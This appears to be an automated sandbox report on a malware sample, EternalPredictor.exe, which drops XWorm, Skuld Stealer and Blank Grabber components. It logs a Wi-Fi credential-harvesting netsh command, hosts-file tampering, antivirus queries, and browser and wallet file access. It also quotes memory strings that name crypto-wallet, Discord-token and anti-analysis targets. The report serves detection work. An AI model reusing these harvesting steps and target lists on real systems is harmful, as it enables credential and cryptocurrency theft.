Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\consent.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0312~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	Queries volume information: C:\Users\user\AppData\Roaming\XClient.exe VolumeInformation
Source: C:\Windows\System32\tree.com	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\AppData\Roaming\program.exe

Code function: 5_2_00007FF72C65D010 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_00007FF72C65D010

Source: C:\Users\user\AppData\Roaming\program.exe

Code function: 5_2_00007FF72C675E7C _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

5_2_00007FF72C675E7C

Source: C:\Users\user\Desktop\EternalPredictor.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\AppData\Roaming\program.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Source: eternal.exe, 00000002.00000002.3240375426.000000001CA00000.00000004.00000020.00020000.00000000.sdmp, eternal.exe, 00000002.00000002.3236463360.000000001BE50000.00000004.00000020.00020000.00000000.sdmp, eternal.exe, 00000002.00000002.3236463360.000000001BEE1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\AppData\Roaming\eternal.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000008.00000003.1934849918.00000237A5ED6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1524758278.00000139887E3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1524758278.00000139887E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: program.exe PID: 4464, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: program.exe PID: 2360, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI44642\rarreg.key, type: DROPPED

Yara detected Skuld Stealer

Source: Yara match	File source: 74.0.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skuld.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 54.0.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 54.2.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.skuld.exe.cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 74.2.SecurityHealthSystray.exe.be0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.1505357195.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 0000004A.00000002.1701196379.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: 00000036.00000000.1632827829.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: skuld.exe PID: 3872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecurityHealthSystray.exe PID: 3948, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\skuld.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: program.exe PID: 2360, type: MEMORYSTR

Yara detected XWorm

Source: Yara match	File source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EternalPredictor.exe.3d10cf0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.eternal.exe.bc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EternalPredictor.exe.3d22330.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1499082225.0000000000BC2000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1521249404.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EternalPredictor.exe PID: 2852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eternal.exe PID: 5604, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\eternal.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: %s profiles/invitesBytecoinEthereumElectrum%s\%s\%sCoinbaseCrocobitMetamaskStarcoinProgramsapp.asarGoStringFullPathno anodeCancelIoReadFileAcceptExWSAIoctlshutdownfile[%d]usernameicon_url%s:%d:%sbad instkernel32hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0HTTP/1.1no-cacheContinueAcceptedConflict48828125infinitystrconv.parsing ParseIntcompressEqualSidSetEventIsWindowrecvfromnil PoolscavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid rax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs fs gs is not pointer packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=[signal newval= mcount= bytes, stack=[ minLC= maxpc= stack=[ minutes status= etypes wsaioctlThursdaySaturdayFebruaryNovemberDecember%!Month(ZONEINFOArmenianBalineseBopomofoBugineseCherokeeCyrillicDuployanEthiopicGeorgianGujaratiGurmukhiHiraganaJavaneseKatakanaKayah_LiLinear_ALinear_BMahajaniOl_ChikiPhags_PaTagbanwaTai_ThamTai_VietTifinaghUgariticVithkuqinetedns0[::1]:53continue_gatewayinvalid address readfromunixgram
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: - `` - Jaxx%s%sCoreEverMathNamiTrontruefilereadopensyncpipelinkStatquitbindidle.com.exe.bat.cmdUUIDPOSTtext asn1nullbooljson'\''Host<>http1080DATAPINGEtag0x%xdateetagfromhostvaryDategzip%x
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: pacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: double waitpreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valueselectgo: bad wakeupsemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in gotime: invalid numberJordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard TimeEgyptian_HieroglyphsMeroitic_Hieroglyphsinvalid DNS responsegetadaptersaddressesunexpected network: form-data; name="%s"EnterCriticalSectionGetFileAttributesExALeaveCriticalSectionSystemTimeToFileTimeGetSidLengthRequiredenter-recursive-loopnumber has no digitsexpression too largeinvalid repeat count[invalid char class]Bad chunk length: %dbad palette length: invalid image size: unknown PSK identitycertificate requiredgzip: invalid headerheader line too longx509usefallbackrootsmissing IPv6 addressunexpected characterflate: closed writerzlib: invalid headergetCert can't be nilinvalid UTF-8 stringx509: malformed spkiunsupported suite IDinvalid integer typesha3: Sum after ReadSafeArrayDestroyDataSafeArrayGetElemsizemodulus must be >= 0systemexplorerserviceSystemParametersInfoWwin32_VideoController-SubmitSamplesConsentcore.asar not in bodyDiscordTokenProtectordiscordtokenprotectorProtectionPayload.dllintegrity_checkmoduleUbisoft Game LauncherTous les utilisateurs\Exodus\exodus.walletreflect.Value.Complextrace/breakpoint trapuser defined signal 1user defined signal 2link has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChangesWNetGetJoinInformationLookupPrivilegeValueWAdjustTokenPrivilegesexec: already startedunsupported operationinternal error: rc %dsequence tag mismatchafter top-level valuein string escape codekey is not comparableclipboard unavailablenot dib format data: bufio: negative counthttp: nil Request.URLUNKNOWN_FRAME_TYPE_%dframe_ping_has_streamRoundTrip failure: %vUnhandled Setting: %vnet/http: nil Contextunknown address type command not supportedPrecondition RequiredInternal Server ErrorWindows Code Page 858186264514923095703125931322574615478515625GetVolumeInformationWEnableCounterForIoctlCM_Get_DevNode_StatusChangeServiceConfig2WDeregisterEventSourceEnumServicesStatusExWGetNamedSecurityInfoWSetNamedSecurityInfoWDwmGetWindowAttributeDwmSetWindowAttributeNtCreateNamedPipeFileSetupDiEnumDeviceInfoSetupUninstallOEMInfWWSALookupServiceNextWWTSEnumerateSessionsWbad type in compare: of unexported methodunexpected value stepreflect.Value.SetZeroreflect.Value.Pointerreflect.Value.SetUintNetUserGetLocalGroupsGetProfilesDirectoryWnegative shift amountsystem goroutine waitconcurrent map writes/gc/heap/allocs:bytesruntime: work.nwait= previous allocCount=, levelBits[level] = runtime: searchIdx = defer on system stackpanic on system stackasync stack too largestartm: m is spinningstartlockedm: m has pfindrunnable: wrong ppreempt at unknown pcreleasep: inv
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: \Ethereum\keystore%s\extensions-tempreflect.Value.UintGetExitCodeProcesssegmentation faultoperation canceledno child processesconnection refusedRFS specific erroridentifier removedinput/output errormultihop attemptedfile name too longno locks availablestreams pipe errorLookupAccountNameWCreateFileMappingWGetFileAttributesWSetFileAttributesWCommandLineToArgvWunknown _txlock %qnon-minimal lengthtruncated sequencesequence truncatedcannot be negativeexceeded max depthinvalid character in numeric literalcontext.Backgroundunsupported formatbufio: buffer fullhttp: blank cookiereceived from peerFLOW_CONTROL_ERRORframe_goaway_shortproxy-authenticateUNKNOWN_SETTING_%dGo-http-client/2.0Go-http-client/1.1Temporary RedirectPermanent RedirectMethod Not AllowedExpectation Failedbad Content-Lengthfield value for %qIBM Code Page 1047IBM Code Page 1140Macintosh Cyrillicvalue out of range298023223876953125GetPerformanceInfoCM_MapCrToWin32ErrCloseServiceHandleCreateWellKnownSidGetSidSubAuthorityMakeSelfRelativeSDQueryServiceStatusCertGetNameStringWPFXImportCertStoreGetBestInterfaceExClosePseudoConsoleEscapeCommFunctionGetCommModemStatusGetComputerNameExWGetCurrentThreadIdGetModuleFileNameWGetModuleHandleExWGetVolumePathNameWRemoveDllDirectoryTerminateJobObjectWriteProcessMemoryEnumProcessModulesGetModuleBaseNameWreflect.Value.Elemreflect.Value.Typereflect: Zero(nil)adaptivestackstartdontfreezetheworldtraceadvanceperiodtracebackancestorsgarbage collectionsync.RWMutex.RLockGC worker (active)stopping the worldwait until GC endsbad lfnode addresssystem page size (elem align too big but memory size /gc/pauses:seconds because dotdotdotruntime: npages = invalid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preempt
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: max=scav ptr ] = (usageinit ms, fault tab= top=[...], fp:MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthGreekAdlamBamumBatakBuhidDograKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilcpu%dfilesimap2imap3imapspop3shostsrouteparsesse41sse42ssse3SHA-1matchrune NRGBAtls: Earlyutf-8%s*%dtext/bad n (at ClassP-224P-256P-384P-521ECDSAx32dbgvmsrvcprl_ccx96dbgdbgclrde4dotwindbgpc-retx64dbgghidraVMwarevmwarexc64zb8VizSM373836ALIONETVM-PCgeorgeGRAFPCT00917test42XC64ZB5Y3y73serverh86LHDDdQrgcQfofoGlK3zMRPgfV1XIZZuXj8vizsmASPNETS7WjufUser01tHiF2TGjBsjbLouiseGGw8NR3W1GJT-ForceattribNumberembedssqliteChromeChedotKometaFenrirCoowonLiebaoDragonCocCocYandexsecretpaypalbanquewalletcryptoexodusatomiccomptecreditpermisnumberbackupconfigVideosinlinefieldsConfigIntentMeteorImpactPolyMCBypassSystem
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: %s profiles/invitesBytecoinEthereumElectrum%s\%s\%sCoinbaseCrocobitMetamaskStarcoinProgramsapp.asarGoStringFullPathno anodeCancelIoReadFileAcceptExWSAIoctlshutdownfile[%d]usernameicon_url%s:%d:%sbad instkernel32hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0HTTP/1.1no-cacheContinueAcceptedConflict48828125infinitystrconv.parsing ParseIntcompressEqualSidSetEventIsWindowrecvfromnil PoolscavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid rax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs fs gs is not pointer packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=[signal newval= mcount= bytes, stack=[ minLC= maxpc= stack=[ minutes status= etypes wsaioctlThursdaySaturdayFebruaryNovemberDecember%!Month(ZONEINFOArmenianBalineseBopomofoBugineseCherokeeCyrillicDuployanEthiopicGeorgianGujaratiGurmukhiHiraganaJavaneseKatakanaKayah_LiLinear_ALinear_BMahajaniOl_ChikiPhags_PaTagbanwaTai_ThamTai_VietTifinaghUgariticVithkuqinetedns0[::1]:53continue_gatewayinvalid address readfromunixgram
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: invalid escape sequenceunsupported certificateno application protocolech accept confirmationCLIENT_TRAFFIC_SECRET_0SERVER_TRAFFIC_SECRET_0QUICEncryptionLevel(%v)varint integer overflowexit hook invoked panicpattern bits too long: too many pointers (>10)segment length too longunpacking Question.Nameunpacking Question.Typeskipping Question Classflate: internal error: invalid PrintableStringx509: malformed UTCTimex509: invalid key usagex509: malformed versionVariantTimeToSystemTimeSafeArrayCreateVectorExP224 point not on curveP256 point not on curveP384 point not on curveP521 point not on curveinvalid scalar encodingGetWindowThreadProcessId-EnableNetworkProtection\Coinomi\Coinomi\walletsfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWGetProcessImageFileNameWexec: Stdout already setskuld - made by hackirbyjson: unsupported type: RegisterClipboardFormatAinvalid argument to Intnunexpected buffer len=%vinvalid pseudo-header %qframe_headers_prio_shortinvalid request :path %qread_frame_conn_error_%sapplication/octet-streamRequest Entity Too Largehttp: nil Request.Header116415321826934814453125582076609134674072265625AllocateAndInitializeSidBuildSecurityDescriptorWAssignProcessToJobObjectGenerateConsoleCtrlEventGetMaximumProcessorCountGetNamedPipeHandleStateWSetConsoleCursorPositionSetDefaultDllDirectoriesNtQuerySystemInformationSetupDiCreateDeviceInfoWSetupDiGetSelectedDeviceSetupDiSetSelectedDevicetracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCupdate during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlapsstack trace unavailable
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: \Ethereum\keystore%s\extensions-tempreflect.Value.UintGetExitCodeProcesssegmentation faultoperation canceledno child processesconnection refusedRFS specific erroridentifier removedinput/output errormultihop attemptedfile name too longno locks availablestreams pipe errorLookupAccountNameWCreateFileMappingWGetFileAttributesWSetFileAttributesWCommandLineToArgvWunknown _txlock %qnon-minimal lengthtruncated sequencesequence truncatedcannot be negativeexceeded max depthinvalid character in numeric literalcontext.Backgroundunsupported formatbufio: buffer fullhttp: blank cookiereceived from peerFLOW_CONTROL_ERRORframe_goaway_shortproxy-authenticateUNKNOWN_SETTING_%dGo-http-client/2.0Go-http-client/1.1Temporary RedirectPermanent RedirectMethod Not AllowedExpectation Failedbad Content-Lengthfield value for %qIBM Code Page 1047IBM Code Page 1140Macintosh Cyrillicvalue out of range298023223876953125GetPerformanceInfoCM_MapCrToWin32ErrCloseServiceHandleCreateWellKnownSidGetSidSubAuthorityMakeSelfRelativeSDQueryServiceStatusCertGetNameStringWPFXImportCertStoreGetBestInterfaceExClosePseudoConsoleEscapeCommFunctionGetCommModemStatusGetComputerNameExWGetCurrentThreadIdGetModuleFileNameWGetModuleHandleExWGetVolumePathNameWRemoveDllDirectoryTerminateJobObjectWriteProcessMemoryEnumProcessModulesGetModuleBaseNameWreflect.Value.Elemreflect.Value.Typereflect: Zero(nil)adaptivestackstartdontfreezetheworldtraceadvanceperiodtracebackancestorsgarbage collectionsync.RWMutex.RLockGC worker (active)stopping the worldwait until GC endsbad lfnode addresssystem page size (elem align too big but memory size /gc/pauses:seconds because dotdotdotruntime: npages = invalid skip valueruntime: range = {index out of rangeruntime: gp: gp=runtime: getg: g=forEachP: not done in async preempt

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\AppData\Roaming\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
